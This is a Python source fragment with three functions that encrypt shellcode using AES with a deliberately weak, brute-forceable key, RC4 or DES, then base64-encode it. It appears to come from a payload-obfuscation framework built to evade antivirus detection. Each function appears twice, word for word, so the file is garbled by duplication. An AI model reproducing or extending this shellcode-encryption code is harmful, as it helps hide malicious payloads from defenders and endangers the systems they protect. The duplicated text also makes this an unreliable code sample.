def constrained_aes(incoming_shellcode):
"""
Generates a constrained AES key which is later brute forced
in a loop
"""
# Create our constrained Key
small_key = helpers.randomKey(25)
# Actual Key used
real_key = small_key + str(helpers.randomNumbers())
# Create Cipher Object with Generated Secret Key
aes_cipher_object = AES.new(real_key, AES.MODE_ECB)
# Prep for manipulation (this is really for python stallion only)
# If this function as a whole is needed for another language
# It should probably be rewritten without this step
incoming_shellcode = incoming_shellcode.encode('latin-1')
incoming_shellcode = incoming_shellcode.decode('unicode_escape')
# Pad the shellcode
padded_shellcode = encryption_padding(incoming_shellcode, '*')
# actually encrypt the shellcode
encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode)
# Base64 encode the encrypted shellcode
encoded_ciphertext = base64.b64encode(encrypted_shellcode)
# return a tuple of (encodedText, small constrained key, actual key used)
return encoded_ciphertext, small_key, real_key
def constrained_aes(incoming_shellcode):
"""
Generates a constrained AES key which is later brute forced
in a loop
"""
# Create our constrained Key
small_key = helpers.randomKey(25)
# Actual Key used
real_key = small_key + str(helpers.randomNumbers())
# Create Cipher Object with Generated Secret Key
aes_cipher_object = AES.new(real_key, AES.MODE_ECB)
# Prep for manipulation (this is really for python stallion only)
# If this function as a whole is needed for another language
# It should probably be rewritten without this step
incoming_shellcode = incoming_shellcode.encode('latin-1')
incoming_shellcode = incoming_shellcode.decode('unicode_escape')
# Pad the shellcode
padded_shellcode = encryption_padding(incoming_shellcode, '*')
# actually encrypt the shellcode
encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode)
# Base64 encode the encrypted shellcode
encoded_ciphertext = base64.b64encode(encrypted_shellcode)
# return a tuple of (encodedText, small constrained key, actual key used)
return encoded_ciphertext, small_key, real_key
def arc_encryption(incoming_shellcode):
# Generate a random key, create the cipher object
# pad the shellcode, and encrypt the padded shellcode
# return encrypted -> encoded shellcode and key
random_arc_key = helpers.randomKey()
arc_cipher_object = ARC4.new(random_arc_key)
padded_shellcode = encryption_padding(incoming_shellcode)
encrypted_shellcode = arc_cipher_object.encrypt(padded_shellcode)
encoded_ciphertext = base64.b64encode(encrypted_shellcode)
return encoded_ciphertext, random_arc_key
def arc_encryption(incoming_shellcode):
# Generate a random key, create the cipher object
# pad the shellcode, and encrypt the padded shellcode
# return encrypted -> encoded shellcode and key
random_arc_key = helpers.randomKey()
arc_cipher_object = ARC4.new(random_arc_key)
padded_shellcode = encryption_padding(incoming_shellcode)
encrypted_shellcode = arc_cipher_object.encrypt(padded_shellcode)
encoded_ciphertext = base64.b64encode(encrypted_shellcode)
return encoded_ciphertext, random_arc_key
def des_encryption(incoming_shellcode):
# Generate a random key, create the cipher object
# pad the shellcode, and encrypt the padded shellcode
# return encrypted -> encoded shellcode and key
random_des_key = helpers.randomKey(8)
iv = helpers.randomString(8)
des_cipher_object = DES.new(random_des_key, DES.MODE_CBC, iv)
padded_shellcode = encryption_padding(incoming_shellcode)
encrypted_shellcode = des_cipher_object.encrypt(padded_shellcode)
encoded_ciphertext = base64.b64encode(encrypted_shellcode)
return encoded_ciphertext, random_des_key, iv
def des_encryption(incoming_shellcode):
# Generate a random key, create the cipher object
# pad the shellcode, and encrypt the padded shellcode
# return encrypted -> encoded shellcode and key
random_des_key = helpers.randomKey(8)
iv = helpers.randomString(8)
des_cipher_object = DES.new(random_des_key, DES.MODE_CBC, iv)
padded_shellcode = encryption_padding(incoming_shellcode)
encrypted_shellcode = des_cipher_object.encrypt(padded_shellcode)
encoded_ciphertext = base64.b64encode(encrypted_shellcode)
return encoded_ciphertext, random_des_key, iv